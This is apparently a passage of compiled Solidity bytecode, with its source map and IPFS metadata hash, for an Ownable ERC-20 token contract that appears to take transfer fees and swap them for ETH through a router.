610d8c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cd6565b5f81836110525760405162461bcd60e51b8152600401610386919061105e565b505f610d05848661134e565b5f602080835283518060208501525f5b8181101561108a5785810183015185820160400152820161106e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110be575f80fd5b50565b5f80604083850312156110d2575f80fd5b82356110dd816110aa565b946020939093013593505050565b5f805f606084860312156110fd575f80fd5b8335611108816110aa565b92506020840135611118816110aa565b929592945050506040919091013590565b5f60208284031215611139575f80fd5b8135610d8c816110aa565b5f8060408385031215611155575f80fd5b8235611160816110aa565b91506020830135611170816110aa565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111c957815f19048211156111af576111af61117b565b808516156111bc57918102915b93841c9390800290611194565b509250929050565b5f826111df575060016102d0565b816111eb57505f6102d0565b8160018114611201576002811461120b57611227565b60019150506102d0565b60ff84111561121c5761121c61117b565b50506001821b6102d0565b5060208310610133831016604e8410600b841016171561124a575081810a6102d0565b611254838361118f565b805f19048211156112675761126761117b565b029392505050565b5f610d8c60ff8416836111d1565b80820281158282048414176102d0576102d061117b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156112db575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611304575f80fd5b8151610d8c816110aa565b5f600182016113205761132061117b565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b818103818111156102d0576102d061117b565b5f8261136857634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156113bd5784516001600160a01b031683529383019391830191600101611398565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d0576102d061117b56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a5f62e5fba5e3161737b159314858744e26996a37def0485b290d4deba730ac64736f6c63430008160033

3700:6466:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5536:83;;;;;;;;;;-1:-1:-1;5606:5:0;;;;;;;;;;;;-1:-1:-1;;;5606:5:0;;;;5536:83;;;;;;;:::i;:::-;;;;;;;;6369:161;;;;;;;;;;-1:-1:-1;6369:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6369:161:0;1023:187:1;5813:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5813:95:0;1215:177:1;6538:313:0;;;;;;;;;;-1:-1:-1;6538:313:0;;;;;:::i;:::-;;:::i;5722:83::-;;;;;;;;;;-1:-1:-1;5722:83:0;;4109:1;2000:36:1;;1988:2;1973:18;5722:83:0;1858:184:1;5916:119:0;;;;;;;;;;-1:-1:-1;5916:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6009:18:0;5982:7;6009:18;;;:9;:18;;;;;;;5916:119;2915:148;;;;;;;;;;;;;:::i;:::-;;2701:79;;;;;;;;;;-1:-1:-1;2739:7:0;2766:6;2701:79;;-1:-1:-1;;;;;2766:6:0;;;2445:51:1;;2433:2;2418:18;2701:79:0;2299:203:1;5627:87:0;;;;;;;;;;-1:-1:-1;5699:7:0;;;;;;;;;;;;-1:-1:-1;;;5699:7:0;;;;5627:87;;6043:167;;;;;;;;;;-1:-1:-1;6043:167:0;;;;;:::i;:::-;;:::i;9851:312::-;;;;;;;;;;;;;:::i;6218:143::-;;;;;;;;;;-1:-1:-1;6218:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6326:18:0;;;6299:7;6326:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6218:143;5241:287;;;;;;;;;;;;;:::i;6369:161::-;6444:4;6461:39;1213:10;6484:7;6493:6;6461:8;:39::i;:::-;-1:-1:-1;6518:4:0;6369:161;;;;;:::o;5813:95::-;5866:7;4165:13;4109:1;4165:2;:13;:::i;:::-;4152:26;;:10;:26;:::i;:::-;5886:14;;5813:95;:::o;6538:313::-;6636:4;6653:36;6663:6;6671:9;6682:6;6653:9;:36::i;:::-;6700:121;6709:6;1213:10;6731:89;6769:6;6731:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6731:19:0;;;;;;:11;:19;;;;;;;;1213:10;6731:33;;;;;;;;;;:37;:89::i;:::-;6700:8;:121::i;:::-;-1:-1:-1;6839:4:0;6538:313;;;;;:::o;2915:148::-;2828:6;;-1:-1:-1;;;;;2828:6:0;1213:10;2828:22;2820:67;;;;-1:-1:-1;;;2820:67:0;;;;;;;:::i;:::-;;;;;;;;;3022:1:::1;3006:6:::0;;2985:40:::1;::::0;-1:-1:-1;;;;;3006:6:0;;::::1;::::0;2985:40:::1;::::0;3022:1;;2985:40:::1;3053:1;3036:19:::0;;-1:-1:-1;;;;;;3036:19:0::1;::::0;;2915:148::o;6043:167::-;6121:4;6138:42;1213:10;6162:9;6173:6;6138:9;:42::i;9851:312::-;2828:6;;-1:-1:-1;;;;;2828:6:0;1213:10;2828:22;2820:67;;;;-1:-1:-1;;;2820:67:0;;;;;;;:::i;:::-;9915:15:::1;::::0;-1:-1:-1;;;9915:15:0;::::1;;;9914:16;9906:51;;;::::0;-1:-1:-1;;;9906:51:0;;5145:2:1;9906:51:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;9906:51:0::1;4943:347:1::0;9906:51:0::1;9968:10;::::0;-1:-1:-1;;;;;9968:10:0::1;:26;10002:21;10033:4;10039:24;10033:4:::0;-1:-1:-1;;;;;6009:18:0;5982:7;6009:18;;;:9;:18;;;;;;;5916:119;10039:24:::1;10064:1;10066::::0;10068:7:::1;2739::::0;2766:6;-1:-1:-1;;;;;2766:6:0;;2701:79;10068:7:::1;9968:124;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9968:124:0;;;-1:-1:-1;;;;;5654:15:1;;;9968:124:0::1;::::0;::::1;5636:34:1::0;5686:18;;;5679:34;;;;5729:18;;;5722:34;;;;5772:18;;;5765:34;5836:15;;;5815:19;;;5808:44;10076:15:0::1;5868:19:1::0;;;5861:35;5570:19;;9968:124:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10103:12:0::1;:19:::0;;-1:-1:-1;;;;10133:22:0;-1:-1:-1;;;10133:22:0;;;-1:-1:-1;9851:312:0:o;5241:287::-;2828:6;;-1:-1:-1;;;;;2828:6:0;1213:10;2828:22;2820:67;;;;-1:-1:-1;;;2820:67:0;;;;;;;:::i;:::-;5289:10:::1;:67:::0;;-1:-1:-1;;;;;;5289:67:0::1;5313:42;5289:67:::0;;::::1;::::0;;;5367:53:::1;::::0;5384:4:::1;::::0;4165:13:::1;4109:1;4165:2;:13;:::i;:::-;4152:26;::::0;:10:::1;:26;:::i;5367:53::-;5454:10;;;;;;;;;-1:-1:-1::0;;;;;5454:10:0::1;-1:-1:-1::0;;;;;5454:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5442:44:0::1;;5495:4;5502:10;;;;;;;;;-1:-1:-1::0;;;;;5502:10:0::1;-1:-1:-1::0;;;;;5502:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5442:78;::::0;-1:-1:-1;;;;;;5442:78:0::1;::::0;;;;;;-1:-1:-1;;;;;6704:15:1;;;5442:78:0::1;::::0;::::1;6686:34:1::0;6756:15;;6736:18;;;6729:43;6621:18;;5442:78:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5431:8;:89:::0;;-1:-1:-1;;;;;;5431:89:0::1;-1:-1:-1::0;;;;;5431:89:0;;;::::1;::::0;;;::::1;::::0;;5241:287::o;6859:335::-;-1:-1:-1;;;;;6952:19:0;;6944:68;;;;-1:-1:-1;;;6944:68:0;;6985:2:1;6944:68:0;;;6967:21:1;7024:2;7004:18;;;6997:30;7063:34;7043:18;;;7036:62;-1:-1:-1;;;7114:18:1;;;7107:34;7158:19;;6944:68:0;6783:400:1;6944:68:0;-1:-1:-1;;;;;7031:21:0;;7023:68;;;;-1:-1:-1;;;7023:68:0;;7390:2:1;7023:68:0;;;7372:21:1;7429:2;7409:18;;;7402:30;7468:34;7448:18;;;7441:62;-1:-1:-1;;;7519:18:1;;;7512:32;7561:19;;7023:68:0;7188:398:1;7023:68:0;-1:-1:-1;;;;;7102:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7154:32;;1361:25:1;;;7154:32:0;;1334:18:1;7154:32:0;;;;;;;6859:335;;;:::o;7202:1916::-;-1:-1:-1;;;;;7293:19:0;;7285:69;;;;-1:-1:-1;;;7285:69:0;;7793:2:1;7285:69:0;;;7775:21:1;7832:2;7812:18;;;7805:30;7871:34;7851:18;;;7844:62;-1:-1:-1;;;7922:18:1;;;7915:35;7967:19;;7285:69:0;7591:401:1;7285:69:0;-1:-1:-1;;;;;7373:19:0;;7365:67;;;;-1:-1:-1;;;7365:67:0;;8199:2:1;7365:67:0;;;8181:21:1;8238:2;8218:18;;;8211:30;8277:34;8257:18;;;8250:62;-1:-1:-1;;;8328:18:1;;;8321:33;8371:19;;7365:67:0;7997:399:1;7365:67:0;7459:1;7451:5;:9;7443:63;;;;-1:-1:-1;;;7443:63:0;;8603:2:1;7443:63:0;;;8585:21:1;8642:2;8622:18;;;8615:30;8681:34;8661:18;;;8654:62;-1:-1:-1;;;8732:18:1;;;8725:39;8781:19;;7443:63:0;8401:405:1;7443:63:0;7519:17;2766:6;;-1:-1:-1;;;;;7554:16:0;;;2766:6;;7554:16;;;;:36;;-1:-1:-1;2739:7:0;2766:6;-1:-1:-1;;;;;7574:16:0;;;2766:6;;7574:16;;7554:36;7550:1015;;;7619:75;7690:3;7619:66;7640:15;;7630:9;;:25;7629:55;;7670:14;;7629:55;;;7657:12;;7629:55;7619:5;;:9;:66::i;:::-;:70;;:75::i;:::-;7724:8;;7607:87;;-1:-1:-1;;;;;;7715:17:0;;;7724:8;;7715:17;:49;;;;-1:-1:-1;7753:10:0;;-1:-1:-1;;;;;7736:28:0;;;7753:10;;7736:28;;7715:49;:77;;;;-1:-1:-1;;;;;;7770:22:0;;;;;;:15;:22;;;;;;;;7768:24;7715:77;7711:130;;;7814:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7711:130;7869:8;;-1:-1:-1;;;;;7860:17:0;;;7869:8;;7860:17;:42;;;;-1:-1:-1;;;;;;7881:21:0;;7897:4;7881:21;;7860:42;7857:172;;;7935:78;8009:3;7935:69;7956:16;;7946:9;;:26;7945:58;;7988:15;;7945:58;;;7974:13;;7935:5;;:9;:69::i;:78::-;7923:90;;7857:172;8094:4;8045:28;6009:18;;;:9;:18;;;;;;8120:6;;-1:-1:-1;;;8120:6:0;;;;8119:7;:28;;;;-1:-1:-1;8139:8:0;;-1:-1:-1;;;;;8130:17:0;;;8139:8;;8130:17;8119:28;:44;;;;-1:-1:-1;8151:12:0;;-1:-1:-1;;;8151:12:0;;;;8119:44;:78;;;;;8179:18;;8167:9;;:30;8119:78;8115:439;;;8244:13;;8221:20;:36;8218:128;;;8276:70;8293:52;8297:5;8304:40;8308:20;8330:13;;8304:3;:40::i;:::-;8293:3;:52::i;:::-;8276:16;:70::i;:::-;8394:21;8486:33;8497:21;8486:10;:33::i;:::-;8199:355;8115:439;7592:973;7550:1015;8577:44;;;;;;;;;;;;;;;;;;8648:8;;8632:49;;8641:5;;-1:-1:-1;;;;;8648:8:0;8658:22;8577:44;8648:8;8671;;;;;8658;;;:12;:22::i;8632:49::-;8708:8;;8692:49;;8701:5;;-1:-1:-1;;;;;8708:8:0;8718:22;8731:5;8708:8;8731;;8692:49;8757:11;;8754:162;;8825:4;8807:24;;;;:9;:24;;;;;;:39;;8836:9;8807:28;:39::i;:::-;8800:4;8782:24;;;;:9;:24;;;;;;;:64;;;;8864:40;;-1:-1:-1;;;;;8864:40:0;;;;;;;8894:9;1361:25:1;;1349:2;1334:18;;1215:177;8864:40:0;;;;;;;;8754:162;-1:-1:-1;;;;;8953:16:0;;;;;;:9;:16;;;;;;:27;;8974:5;8953:20;:27::i;:::-;-1:-1:-1;;;;;8936:16:0;;;;;;:9;:16;;;;;:44;9008:42;9029:20;:5;9039:9;9029;:20::i;:::-;-1:-1:-1;;;;;9008:16:0;;;;;;:9;:16;;;;;;;:20;:42::i;:::-;-1:-1:-1;;;;;8991:16:0;;;;;;;:9;:16;;;;;:59;;;;9066:44;;;9089:20;:5;9099:9;9089;:20::i;:::-;9066:44;;1361:25:1;;;1349:2;1334:18;9066:44:0;;;;;;;7274:1844;;7202:1916;;;:::o;1593:190::-;1679:7;1715:12;1707:6;;;;1699:29;;;;-1:-1:-1;;;1699:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1739:9:0;1751:5;1755:1;1751;:5;:::i;:::-;1739:17;1593:190;-1:-1:-1;;;;;1593:190:0:o;1791:246::-;1849:7;1873:1;1878;1873:6;1869:47;;-1:-1:-1;1903:1:0;1896:8;;1869:47;1926:9;1938:5;1942:1;1938;:5;:::i;:::-;1926:17;-1:-1:-1;1971:1:0;1962:5;1966:1;1926:17;1962:5;:::i;:::-;:10;1954:56;;;;-1:-1:-1;;;1954:56:0;;9640:2:1;1954:56:0;;;9622:21:1;9679:2;9659:18;;;9652:30;9718:34;9698:18;;;9691:62;-1:-1:-1;;;9769:18:1;;;9762:31;9810:19;;1954:56:0;9438:397:1;1954:56:0;2028:1;1791:246;-1:-1:-1;;;1791:246:0:o;2045:132::-;2103:7;2130:39;2134:1;2137;2130:39;;;;;;;;;;;;;;;;;:3;:39::i;9126:99::-;9183:7;9211:1;9209;:3;9208:9;;9216:1;9208:9;;;-1:-1:-1;9214:1:0;9126:99;-1:-1:-1;9126:99:0:o;9270:468::-;4874:6;:13;;-1:-1:-1;;;;4874:13:0;-1:-1:-1;;;4874:13:0;;;9372:16:::1;::::0;;9386:1:::1;9372:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9372:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9372:16:0::1;9348:40;;9417:4;9399;9404:1;9399:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9399:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9443:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;9443:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;9399:7;;9443:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9433:4;9438:1;9433:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9433:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;9503:10:::1;::::0;9471:57:::1;::::0;9488:4:::1;::::0;9503:10:::1;9516:11:::0;9471:8:::1;:57::i;:::-;9539:10;::::0;:191:::1;::::0;-1:-1:-1;;;9539:191:0;;-1:-1:-1;;;;;9539:10:0;;::::1;::::0;:61:::1;::::0;:191:::1;::::0;9615:11;;9539:10:::1;::::0;9657:4;;9684::::1;::::0;9704:15:::1;::::0;9539:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4910:6:0;:14;;-1:-1:-1;;;;4910:14:0;;;-1:-1:-1;;;;9270:468:0:o;9746:97::-;9809:8;;9801:34;;-1:-1:-1;;;;;9809:8:0;;;;9801:34;;;;;9828:6;;9809:8;9801:34;9809:8;9801:34;9828:6;9809:8;9801:34;;;;;;;;;;;;;;;;;;;;;9746:97;:::o;1262:179::-;1320:7;;1352:5;1356:1;1352;:5;:::i;:::-;1340:17;;1381:1;1376;:6;;1368:46;;;;-1:-1:-1;;;1368:46:0;;11289:2:1;1368:46:0;;;11271:21:1;11328:2;11308:18;;;11301:30;11367:29;11347:18;;;11340:57;11414:18;;1368:46:0;11087:351:1;1449:136:0;1507:7;1534:43;1538:1;1541;1534:43;;;;;;;;;;;;;;;;;:3;:43::i;2185:189::-;2271:7;2306:12;2299:5;2291:28;;;;-1:-1:-1;;;2291:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2330:9:0;2342:5;2346:1;2342;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5907:306::-;5995:6;6003;6011;6064:2;6052:9;6043:7;6039:23;6035:32;6032:52;;;6080:1;6077;6070:12;6032:52;6109:9;6103:16;6093:26;;6159:2;6148:9;6144:18;6138:25;6128:35;;6203:2;6192:9;6188:18;6182:25;6172:35;;5907:306;;;;;:::o;6218:251::-;6288:6;6341:2;6329:9;6320:7;6316:23;6312:32;6309:52;;;6357:1;6354;6347:12;6309:52;6389:9;6383:16;6408:31;6433:5;6408:31;:::i;8811:135::-;8850:3;8871:17;;;8868:43;;8891:18;;:::i;:::-;-1:-1:-1;8938:1:1;8927:13;;8811:135::o;8951:127::-;9012:10;9007:3;9003:20;9000:1;8993:31;9043:4;9040:1;9033:15;9067:4;9064:1;9057:15;9083:128;9150:9;;;9171:11;;;9168:37;;;9185:18;;:::i;9216:217::-;9256:1;9282;9272:132;;9326:10;9321:3;9317:20;9314:1;9307:31;9361:4;9358:1;9351:15;9389:4;9386:1;9379:15;9272:132;-1:-1:-1;9418:9:1;;9216:217::o;9972:980::-;10234:4;10282:3;10271:9;10267:19;10313:6;10302:9;10295:25;10339:2;10377:6;10372:2;10361:9;10357:18;10350:34;10420:3;10415:2;10404:9;10400:18;10393:31;10444:6;10479;10473:13;10510:6;10502;10495:22;10548:3;10537:9;10533:19;10526:26;;10587:2;10579:6;10575:15;10561:29;;10608:1;10618:195;10632:6;10629:1;10626:13;10618:195;;;10697:13;;-1:-1:-1;;;;;10693:39:1;10681:52;;10788:15;;;;10753:12;;;;10729:1;10647:9;10618:195;;;-1:-1:-1;;;;;;;10869:32:1;;;;10864:2;10849:18;;10842:60;-1:-1:-1;;;10933:3:1;10918:19;10911:35;10830:3;9972:980;-1:-1:-1;;;9972:980:1:o;10957:125::-;11022:9;;;11043:10;;;11040:36;;;11056:18;;:::i

ipfs://0a5f62e5fba5e3161737b159314858744e26996a37def0485b290d4deba730ac